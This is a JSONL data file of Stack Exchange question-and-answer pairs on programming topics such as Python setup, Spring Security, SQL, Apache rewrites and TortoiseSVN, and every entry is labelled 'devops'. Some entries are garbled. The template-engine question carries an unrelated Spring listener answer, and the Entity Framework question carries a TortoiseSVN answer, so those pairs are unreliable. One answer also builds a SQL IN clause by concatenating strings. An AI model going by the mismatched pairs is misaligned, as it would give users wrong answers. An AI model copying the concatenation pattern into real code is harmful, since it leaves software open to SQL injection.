{"id": "hf_a81ed7e3ce8d", "question": "<p>How do I setup a Python environment on windows computer so I can start writing and running Python scripts, is there an install bundle?  Also which database should i use?</p>\n\n<hr>\n\n<p>I should of mentioned that I am using this for web based applications. Does it require apache? or does it use another http server? What is the standard setup for Python running web apps?</p>\n", "question_body": "", "answer": "Download the Python 2.6 Windows installer from\npython.org\n(\ndirect link\n). If you're just learning, use the included SQLite library so you don't have to fiddle with database servers.\nMost web development frameworks (Django, Turbogears, etc) come with a built-in webserver command that runs on the local computer without Apache.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.667059"}
{"id": "hf_a600173d125e", "question": "<p>given a matrix of distances between points is there an algorithm for determining a set of n-dimensional points that has these distances? (or at least minimises the error) </p>\n\n<p>sort of like a n-dimensional version of the turnpike problem.</p>\n\n<p>The best I can come up with is using multidimensional scaling.</p>\n", "question_body": "", "answer": "I can't edit the original, because I don't have enough rep, but I've tried to restate the problem here.\nThe OP has an input NxN matrix of distances. He wants to create an output array, size N, of N-dimensional coordinates representing points, where the distance between each point is stored in the input matrix.\nNote that this is not solvable in the general case:\nSuppose I have a matrix like this\n```\nA  B  C  \nA  x  1  2  \nB     x  0  \nC        x\n```\nA is 1 unit of distance (say 1 metre) away from B, and A is one metre away from C. But B and C are in the same spot.\nIn this particular case the minimal sum of errors is 1 metre, and there are an infinite variety of solutions which achieve that result", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.786511"}
{"id": "hf_562c28617ffe", "question": "<p>I am interested to read and understand the 2D mesh algorithms. A search on Google reveals <a href=\"http://www.google.com.my/search?rlz=1C1GGLS_enMY291&amp;sourceid=chrome&amp;ie=UTF-8&amp;q=meshing+algorithm\" rel=\"noreferrer\">a lot of papers and sources</a>, however most are too academic and not much on beginner's side. </p>\n\n<p>So, would anyone here recommend any reading sources ( suitable for the beginners), or open source implementation that I can learn from the start? Thanks.</p>\n\n<p>Also, compared to triangular mesh generation, I have more interest in quadrilateral mesh and mix mesh( quad and tri combined).</p>\n", "question_body": "", "answer": "The first link on your Google search takes you to\nJonathan Shewchuk's\nsite. This is not actually a bad place to start. He has a program called\ntriangle\nwhich you can download for 2D triangulation. On that page there is a\nlink\nto references used in\ncreating triangle\n, including a link to a description of the\ntriangluation algorithm\n.\nThere are several approaches to mesh generation. One of the most common is to create a\nDelaunay triangulation\n. Triangulating a set of points is fairly simple and there are several algorithms which do that, including Watson's and\nRupert's\nas used in triangle\nWhen you want to create a constrained triangulation, where the edges of the triangulation match the edges of your input shape it is a bit harder, because you need to recover certain edges.\nI would start by understanding Delaunay triangulation. Then maybe look at some of the other meshing algorithms.\nSome of the common topics that you will find in mesh generation papers are\nRobustness - that is how to deal with floating point round off errors.\nMesh quality - ensuring the shapes of the triangles/tetrahedrons are close to equilateral. Whether this is important depends on why you are creating the mesh. For analysis work it is very important,\nHow to choose where to insert the nodes in the mesh to give a good mesh distribution.\nMeshing speed\nQuadrilateral/Hexahedral mesh generation. This is harder than using triangles/tetrahedra.\n3D mesh generation is much harder than 2D so a lot of the papers are on 3D generation\nMesh generation is a large topic. It would be helpful if you could give some more information on what aspects (eg 2D or 3D) that you are interested in. If you can give some idea of what you ant to do then maybe I can find some better sources of information.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.861088"}
{"id": "hf_2cee49e92cb2", "question": "<p>I'm new to Spring Security. How do I add an event listener which will be called as a user logs in successfully? Also I need to get some kind of unique session ID in this listener which should be available further on. I need this ID to synchronize with another server.</p>\n", "question_body": "", "answer": "You need to define a Spring Bean which implements\nApplicationListener\n.\nThen, in your code, do something like this:\n```\n```\npublic void onApplicationEvent(ApplicationEvent appEvent)\n{\n    if (appEvent instanceof AuthenticationSuccessEvent)\n    {\n        AuthenticationSuccessEvent event = (AuthenticationSuccessEvent) appEvent;\n        UserDetails userDetails = (UserDetails) event.getAuthentication().getPrincipal();\n\n        // ....\n    }\n}\n```\n```\nThen, in your applicationContext.xml file, just define that bean and it will automatically start receiving events :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.886538"}
{"id": "hf_d5b3eb11350e", "question": "<p>Which Template-Engine and Ajax-Framework/-Toolkit is able to load template information from JAR-Files?</p>\n", "question_body": "", "answer": "You need to define a Spring Bean which implements\nApplicationListener\n.\nThen, in your code, do something like this:\n```\n```\npublic void onApplicationEvent(ApplicationEvent appEvent)\n{\n    if (appEvent instanceof AuthenticationSuccessEvent)\n    {\n        AuthenticationSuccessEvent event = (AuthenticationSuccessEvent) appEvent;\n        UserDetails userDetails = (UserDetails) event.getAuthentication().getPrincipal();\n\n        // ....\n    }\n}\n```\n```\nThen, in your applicationContext.xml file, just define that bean and it will automatically start receiving events :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.911779"}
{"id": "hf_9698427c3f5e", "question": "<p>So Google Analytics does not have an API that we can use to get our data, so is there an efficient way to programaticly fetch the data collected by Google, without logging it locally?</p>\n\n<p>Edit:\nI would prefer a Python or PHP solution but anything will work.</p>\n", "question_body": "", "answer": "Well, it depends on what you want to do with the data. If you only want to process part of it, then I don't think it is difficult.\nHere's a basic web search with a hit explanations from Google and someone else:\nhttp://www.google.com/support/analytics/bin/answer.py?hl=en&answer=55561\nhttp://blogoscoped.com/archive/2008-01-17-n73.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.935258"}
{"id": "hf_47f0e58f76bb", "question": "<p>I'm trying to call the SQL statement below but get the following error:</p>\n\n<blockquote>\n  <p>System.Data.SqlClient.SqlException: Conversion failed when converting\n  the varchar value '+@buildingIDs+' to data type int.</p>\n</blockquote>\n\n<pre><code>@\"SELECT id, startDateTime, endDateTime \n    FROM tb_bookings \n   WHERE buildingID IN ('+@buildingIDs+') \n     AND startDateTime &lt;= @fromDate\";\n</code></pre>\n\n<p><code>buildingID</code> is an <code>int</code> type column in the db. Will I need to pass the IDs as an array of ints?</p>\n", "question_body": "", "answer": "It's trying to compare an int with the string value '+@buildingsIDs+'\nSo it tries to convert the string to convert it to an int and fails.\nSo do the following:\n```\nbuildingsIDs = \"1, 5, 6\";\n@\"SELECT id, startDateTime, endDateTime From tb_bookings WHERE buildingID IN (\" + buildingIDs + \") AND startDateTime <= @fromDate\";\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.958415"}
{"id": "hf_2818fe500f5f", "question": "<p>ModRewrite can easily handle stripping the www off the front of my domain.<br>\nIn .htaccess:</p>\n\n<pre><code>RewriteEngine On\nRewriteCond %{HTTPS} on\nRewriteCond %{HTTP_HOST} ^www\\.(.+)$ [NC]\nRewriteRule ^(.*)$ https://%1/$1 [R=301,L]\nRewriteCond %{HTTPS} off\nRewriteCond %{HTTP_HOST} ^www\\.(.+)$ [NC]\nRewriteRule ^(.*)$ http://%1/$1 [R=301,L]\n</code></pre>\n\n<p>But with SSL, the certificate check comes before the .htaccess rewrite, causing certificate error.<br>\nI would rather not buy an SSL certificate for the www only to redirect it.<br>\nCan you offer me a smarter solution?\n(btw EV Certificates are not available as wildcards)</p>\n", "question_body": "", "answer": "You can get certificates with multiple domain names in them. Get one with\n```\nmydomain.com\n```\nand\n```\nwww.mydomain.com\n```\n. I think it's also possible to buy \"wildcard\" certificates that will match any subdomain, but they cost much more.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:02.981623"}
{"id": "hf_4afcf2efea68", "question": "<p>I love Python because it comes batteries included, and I use built-in functions, a lot, to do the dirty job for me.</p>\n\n<p>I have always been using happily the os.path module to deal with file path but recently I ended up with unexpected results on Python 2.5 under Ubuntu linux, while dealing with string that represent windows file paths :</p>\n\n<pre><code>filepath = r\"c:\\ttemp\\FILEPA~1.EXE\"\nprint os.path.basename(filepath)\n'c:\\\\ttemp\\\\FILEPA~1.EXE']\nprint os.path.splitdrive(filepath)\n('', 'c:\\ttemp\\\\FILEPA~1.EXE')\n</code></pre>\n\n<p>WTF ?</p>\n\n<p>It ends up the same way with filepath = u\"c:\\ttemp\\FILEPA~1.EXE\" and filepath = \"c:\\ttemp\\FILEPA~1.EXE\".</p>\n\n<p>Do you have a clue ? Ubuntu use UTF8 but I don't feel like it has something to do with it. Maybe my Python install is messed up but I did not perform any particular tweak on it that I can remember.</p>\n", "question_body": "", "answer": "From a\n```\nos.path\n```\ndocumentation:\nos.path.splitdrive(path)\nSplit the pathname path into a pair (drive, tail) where drive is either a drive specification or the empty string. On systems which do not use drive specifications, drive will always be the empty string. In all cases, drive + tail will be the same as path.\nIf you running this on unix, it doesnt use drive specifications, hence - drive will be empty string.\nIf you want to solve windows paths on any platform, you can just use a simple regexp:\n```\n```\nimport re\n(drive, tail) = re.compile('([a-zA-Z]\\:){0,1}(.*)').match(filepath).groups()\n```\n```\n```\ndrive\n```\nwill be a drive letter followed by\n```\n:\n```\n(eg.\n```\nc:\n```\n,\n```\nu:\n```\n) or\n```\nNone\n```\n, and\n```\ntail\n```\nthe whole rest :)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.052119"}
{"id": "hf_560069d7206d", "question": "<p>Is <a href=\"http://en.wikipedia.org/wiki/OpenID\" rel=\"noreferrer\">OpenID</a> a secure method of authentication users on a website?</p>\n\n<p>And, if not, what are the security risks associated with OpenID?</p>\n", "question_body": "", "answer": "OpenID is inherently insecure. It works by your site redirecting the user to their open ID provider site and then accepting an ID back from that site. This provides insecurities in both directions. You have to trust the ID that comes back (as you have no way of authenticating the user yourself) and it is easy to operate a proxy to the user’s open ID provider, that allows you to steal their username and password.\nOpenID is fine for something like Stack Overflow, where it doesn’t really matter if someone impersonates you. Using OpenID for sites with more serious – on a personal level – content is extremely risky. If you use OpenID for your email for example, then anyone stealing your Id can access your email. They could then in turn send password reminder requests to other sites that you use in order to get passwords for those sites. In the worst case, you could use OpenID for a bank account, or have a bank that sends password reminders to your email account...\nThere are numerous other security problems with OpenID. You can find more information in\n\"Privacy on the Internet\"\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.076976"}
{"id": "hf_236e6d67a592", "question": "<p>How can I modify a SharePoint site so that versioning is turned on by default in Document Libraries?</p>\n", "question_body": "", "answer": "Versioning is not done at the site level, but at the list level.\nIf you want versioning to be turn on on each new library, you'll have to either:\nUse your own library template (with versioning turned on)\nUse feature + event handler to programmatically activate versioning on each new list\nThe easiest way is probably to use your own template. To do this, create a new document library, activate versioning, then save this list as template.\nWhen you create a new list, you will then be able to use your template and directly create a list with versioning activated.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.113986"}
{"id": "hf_0b1901d624d7", "question": "<p>I'm looking for an open-source library for editing AAC metadata in M4A files (as appearing in iTunes).  Specifically, I need to be able to add an album art tag.  It should be something similar to id3lib, which works with ID3 tags on MP3 files.</p>\n", "question_body": "", "answer": "Since I hadn't find any open-source library maybe open-source program, that can read and set iTunes-style metadata tags in MPEG-4 files, will help you.\natomicparsley.sourceforge.net\nThere is also Known iTunes Metadata structure provided:\nhttp://atomicparsley.sourceforge.net/mpeg-4files.html\nThis discussion may also turn out helpful for you:\nwww.hydrogenaudio.org/forums/lofiversion/index.php/t31022.html\nGood Luck", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.138994"}
{"id": "hf_8f9012f35ff4", "question": "<p>I have a template in word (.docx) format and want to replace some placeholders in this template with my own data, do you know where I can find the right classes for this project? It would be nice for me to know the namespace. Are there any newer classes for handling word documents in the docx format (xml) than the com classes? Thank you for all your answers, I hope someone can help me with my problem.</p>\n\n<p>greets </p>\n\n<p>Sebastian</p>\n", "question_body": "", "answer": "The new office formats (docx, xlsx, etc) are zip files that contain a collection of xml files.  With that in mind you have a couple of approaches.\nYou can use the Open XML SDK located at\nhttp://www.microsoft.com/downloads/details.aspx?FamilyId=AD0B72FB-4A1D-4C52-BDB5-7DD7E816D046&displaylang=en\nYou can unzip the docx file, do a search and replace for your tokens, and zip it back up.\nThere is a website at\nopenxmldeveloper.org\nthat is just for this kind of thing.  Also, bear in mind that they are already shipping a beta version 2 of the SDK.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.187995"}
{"id": "hf_16c6fbe70f1c", "question": "<p>Why can't I pass the table name to a prepared PDO statement?</p>\n\n<pre><code>$stmt = $dbh-&gt;prepare('SELECT * FROM :table WHERE 1');\nif ($stmt-&gt;execute(array(':table' =&gt; 'users'))) {\n    var_dump($stmt-&gt;fetchAll());\n}\n</code></pre>\n\n<p>Is there another safe way to insert a table name into a SQL query? With safe, I mean that I don't want to do</p>\n\n<pre><code>$sql = \"SELECT * FROM $table WHERE 1\"\n</code></pre>\n", "question_body": "", "answer": "Using the former isn't inherently more safe than the latter, you need to sanitize the input whether it's part of a parameter array or a simple variable.  So I don't see anything wrong with using the latter form with\n```\n$table\n```\n, provided you make sure that the content of\n```\n$table\n```\nis safe (alphanum plus underscores?) before using it.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.211806"}
{"id": "hf_e850adcdc53c", "question": "<p>My application runs under CF 2.0 locally and i would like to know how to connect and send something to print in the embedded printer of a http://www.milliontech.com/home/content/view/195/95/'>Bluebird BIP-1300 device.</p>\n\n<p>Ideally i would like an example in C#.</p>\n\n<p>Thank you in advance.</p>\n", "question_body": "", "answer": "I'm not familiar with this particular device, but in general, printers in this class require you to send RAW data, as they don't have Windows drivers.\nThis KB article\noutlines how to send data to the device using C#: whether this is useful for you depends on whether the unmanaged APIs used are available in the environment your CF app runs on.\nIn case the APIs are supported, what you need next are the correct escape codes for the device in order to get the on-paper results you want. These are usually well-documented in the printer manual.\nIf the Spooler API is not available, or you run into other issues that make this approach more trouble than it's worth, the third-party\nPrinterCE.NetCF SDK\nmay also be worth looking into.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.246409"}
{"id": "hf_4e7d4301655f", "question": "<p>I'm trying to serialize objects from a database that have been retrieved with Hibernate, and I'm only interested in the objects' actual data in its entirety (cycles included).</p>\n\n<p>Now I've been working with <a href=\"http://xstream.codehaus.org/\" rel=\"nofollow noreferrer\">XStream</a>, which seems powerful. The problem with XStream is that it looks all too blindly on the information. It recognizes Hibernate's PersistentCollections as they are, with all the Hibernate metadata included. I don't want to serialize those.</p>\n\n<p>So, is there a reasonable way to extract the original Collection from within a PersistentCollection, and also initialize all referring data the objects might be pointing to. Or can you recommend me to a better approach?</p>\n\n<p>(The results from <a href=\"http://simple.sourceforge.net/\" rel=\"nofollow noreferrer\">Simple</a> seem perfect, but it can't cope with such basic util classes as Calendar. It also accepts only one annotated object at a time)</p>\n", "question_body": "", "answer": "I recommend a simpler approach: user dozer:\nhttp://dozer.sf.net\n. Dozer is a bean mapper, you can use it to convert, say, a PersonEJB to an object of the same class. Dozer will recursively trigger all proxy fecthes through getter() calls, and will also convert src types to dest types (let's say java.sql.date to java.utilDate).\nHere's a snippet:\n```\n```\nMapperIF mapper = DozerBeanMapperSingletonWrapper.getInstance();\nPersonEJB serializablePerson = mapper.map(myPersonInstance, PersonEJB.class);\n```\n```\nBear in mind, as dozer walks through your object tree it will trigger the proxy loading one by one, so if your object graph has many proxies you will see many queries, which can be expensive.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.281263"}
{"id": "hf_f2a2506600cc", "question": "<p>Is there a way to figure out versions of modules that were loaded into the process' address space when the process crashed from a crash dump that was generated by the process calling the MiniDumpWriteDump function? In other words, is any version information stored inside a dmp file?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "load your minidump into WinDbg, then there's a Modules item off the Debug menu that shows checksum and timestamp information. That may be enough info for your purposes.\nYou can get the version from all loaded modules by typing \"LM v\" in the command window, in WinDBG. The list is long and you get lots, including the Product and File version strings. However, I think it fetches this information from locally-stored modules that it loads, making sure its got the right ones from checksum information it uses to match them to the symbol files.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.339613"}
{"id": "hf_f4de00753b2a", "question": "<p>What is the easiest way to check if events have been logged in the eventlog during a period of time?</p>\n\n<p>I want to perform a series of automated test steps and then check if any errors were logged to the Application Event Log, ignoring a few sources that I'm not interested in. I can use System.Diagnostics.EventLog and then look at the Entries collection, but it doesn't seem very useable for this scenario. For instance Entries.Count can get smaller over time if the event log is removing old entries. I'd prefer some way to either query the log or monitor it for changes during a period of time. e.g. </p>\n\n<pre><code>DateTime start = DateTime.Now;\n// do some stuff...\nforeach(EventLogEntry entry in CleverSolution.EventLogEntriesSince(start, \"Application\"))\n{ \n  // Now I can do stuff with entry, or ignore if its Source is one\n  // that I don't care about.\n  // ...\n}\n</code></pre>\n", "question_body": "", "answer": "The\nSystem.Diagnostics.EventLog\nclass really is the right way to do this.\nYour main objection seems to be that the log can remove old entries in some cases.  But you say this is in a software testing scenario.  Can't you arrange to configure your test systems such that the logs are large enough to contain all entries and the removal of old entries won't occur during your tests?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.362917"}
{"id": "hf_d02d274380db", "question": "<p>I've got a column in a database table (SQL Server 2005) that contains data like this:</p>\n\n<pre><code>TQ7394\nSZ910284\nT r1534\nsu8472\n</code></pre>\n\n<p>I would like to update this column so that the first two characters are uppercase. I would also like to remove any spaces between the first two characters. So <code>T q1234</code> would become <code>TQ1234</code>.</p>\n\n<p><strong>The solution should be able to cope with multiple spaces between the first two characters.</strong></p>\n\n<p>Is this possible in T-SQL? How about in ANSI-92? I'm always interested in seeing how this is done in other db's too, so feel free to post answers for PostgreSQL, MySQL, et al.</p>\n", "question_body": "", "answer": "```\n```\nupdate Table set Column = case when len(rtrim(substring (Column , 1 , 2))) < 2 \n            then UPPER(substring (Column , 1 , 1) + substring (Column , 3 , 1)) + substring(Column , 4, len(Column)\n            else UPPER(substring (Column , 1 , 2)) + substring(Column , 3, len(Column) end\n```\n```\nThis works on the fact that if there is a space then the trim of that part of string would yield length less than 2 so we split the string in three and use upper on the 1st and 3rd char. In all other cases we can split the string in 2 parts and use upper to make the first two chars to upper case.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.401741"}
{"id": "hf_b02f392b33ca", "question": "<p>Internet Explorer (from versions 4 to 7, at least) limits the number of files uploaded using a single 'input type=\"file\"' form field to one. What is the best approach to take if I want to upload more than one file in a single HTTP POST request?</p>\n", "question_body": "", "answer": "You have to include multiple\n```\ninput\n```\ncontrols, one per file to be uploaded.\nIf you don't know how many you want ahead of time, you can use jQuery (or plain javascript) to create them on-the-fly.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.487475"}
{"id": "hf_9f35fa9e0c96", "question": "<p>I use <a href=\"http://xfire.codehaus.org/\" rel=\"nofollow noreferrer\">XFire</a> to create a webservice wrapper around my application. XFire provides the webservice interface and WSDL at runtime (or creates them at compile time, don't know exactly).</p>\n\n<p>Many of our customers don't know webservices very well and additionally they simply don't read any external documentation like Javadoc. I know that it's possible to add documentation (for parameters and methods) directly to the WSDL file. </p>\n\n<p>I thought about Annotations or Aegis XML files but I don't know how... Do you know a way?</p>\n\n<p>Edit: I just found this <a href=\"http://jira.codehaus.org/browse/XFIRE-507\" rel=\"nofollow noreferrer\">JIRA issue</a> but the last activity was 2006. Any ideas? </p>\n", "question_body": "", "answer": "XFire is slowly headed for /dev/null. Use\nCXF\ninstead. In other words, XFire is being deprecated in favor of CXF - it's pretty much the same developers.\nSince you use the Java-first approach, I suggest you generate you WSDL once and for all with CXF's\n```\njava2wsdl\n```\ntool, then you put your documentation in that and tell CXF to use\nthat\ndocumented WSDL instead of letting CXF generate its own (undocumented) WSDL at runtime/deploy-time.\nThis page\nhas pretty much everything you need to know about creating a web service in CXF.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.510384"}
{"id": "hf_56df932c923a", "question": "<p>How do I remove a trailing comma from a string in ColdFusion?</p>\n", "question_body": "", "answer": "Check the rightmost char - if it's a comma, set the string to a substring of the original, with length -1.\nTrimming the string ensures that spaces after the trailing comma don't interfere with this method.\n```\n```\n<cfset myStr = \"hello, goodbye,\">\n<cfset myStr = trim(myStr)>\n\n<cfif right(myStr, 1) is \",\">\n    <cfset myStr = left(myStr, len(myStr)-1)>\n</cfif>\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.533920"}
{"id": "hf_9e47b8d19202", "question": "<p>I would like TortoiseSVN (1.5.3) to ignore certain folders, their contents and certain other files wherever they might appear in my directory hierarchy but I cannot get the global ignore string right.</p>\n\n<p>Whatever I do, it either adds to much or ignores too much</p>\n\n<p>What is the correct 'Global ignore pattern' to ignore....</p>\n\n<pre><code>Folders : bin obj release compile \nFiles   : *.bak *.user *.suo \n</code></pre>\n\n<p>Update: To help clarify... yes I am using this on windows. </p>\n", "question_body": "", "answer": "Currently I have the following in my Global Ignore Pattern:\n```\n```\nbin obj CVS .cvsignore *.user *.suo Debug Release *.pdb test.* Thumbs.db\n```\n```\nWorks really well to ignore several hidden or temp files/folders....\nSo for your specific requirements:\nFolders:\n```\nbin obj release compile\n```\nFiles:\n```\n*.bak *.user *.suo\n```\nI would use:\n```\n```\nbin obj release compile *.bak *.user *.suo\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.569150"}
{"id": "hf_d3c4c3cfdf0f", "question": "<p>Please give me the direction of the best guidance on the Entity Framework.</p>\n", "question_body": "", "answer": "Currently I have the following in my Global Ignore Pattern:\n```\n```\nbin obj CVS .cvsignore *.user *.suo Debug Release *.pdb test.* Thumbs.db\n```\n```\nWorks really well to ignore several hidden or temp files/folders....\nSo for your specific requirements:\nFolders:\n```\nbin obj release compile\n```\nFiles:\n```\n*.bak *.user *.suo\n```\nI would use:\n```\n```\nbin obj release compile *.bak *.user *.suo\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.592120"}
{"id": "hf_b166238004db", "question": "<p>In applying for jobs via agents I sometimes get blocked by an agent who says do you know software package X. When I reply that I know the similar package Y they might say unless you know X I cannot put you forward.</p>\n\n<p>The problem is that some of these agents don't know what they talking about, they are merely being used by their clients as a screening filter.</p>\n\n<p>It would be useful to be able to say to these agents that because I know Y I can expect to become reasonably proficient in X in a given number of days/months. However not knowing X determining the required time is why I'm asking this question.</p>\n\n<p>Most recently X was Oracle and Y was SQL Server.</p>\n\n<p>Please can those of you who know both, express an opinion on how long is required to become reasonably proficient? <strong>NB I'm not talking about becoming a DBA!</strong></p>\n", "question_body": "", "answer": "If you're being hired as a DBA, it will take a while to switch between databases as the management of them differs (I base this on my experience with Oracle and DB2 only).\nI DON'T know SQL Server but I can imagine a Microsoft program with its nice GUI management would be vastly different to managing DB2/z, for example (although you can use the fancy DB2 LUW (Linux/UNIX/Window) tools if you're that way inclined).\nIf you're just cutting code to use the database, the SQL differences are minor (relatively).  That shouldn't take much time at all, assuming you're already proficient with SQL.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.653168"}
{"id": "hf_1ae5636f834e", "question": "<p>What do you use to validate an email address on a ASP.NET form. I want to make sure that it contains no XSS exploits.</p>\n\n<p>This is ASP.NET 1.1</p>\n", "question_body": "", "answer": "Preventing XSS is a different issue from validating input.\nRegarding XSS: You should not try to check\ninput\nfor XSS or related exploits. You should prevent XSS exploits, SQL injection and so on by escaping correctly when inserting strings into a different language where some characters are \"magic\", eg, when inserting strings in HTML or SQL. For example a name like O'Reilly is perfectly valid input, but could cause a crash or worse if inserted unescaped into SQL. You cannot prevent that kind of problems by validating input.\nValidation of user input makes sense to prevent missing or malformed data, eg. a user writing \"asdf\" in the zip-code field and so on. Wrt. e-mail adresses, the syntax is so complex though, that it doesnt provide much benefit to validate it using a regex. Just check that it contains a \"@\".", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.678135"}
{"id": "hf_832582de7b8f", "question": "<p>Is there a way to automatically apply a theme/template/style to all controls of the targettype, so I don't have to specify Template=..., Style=... on all controls?</p>\n", "question_body": "", "answer": "I thought there was a way to do this by just omitting the x:Key attribute, but that doesn't seem to work anymore. Based on some googling it seems to me like you're best best is to create a custom control library of your own that has a themes/generic.xaml file that defines your custom styles. Then you can use your own elements that are styled properly (MyButton instead of Button). Either that or\nstick with the Style property\n.\nSome example of this\nhere\nand an alternate approach using themes\nhere\n.\nUpdate:\nJust found a really good example of this\nhere\n(I think you might have already seen it :).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:27:03.708917"}
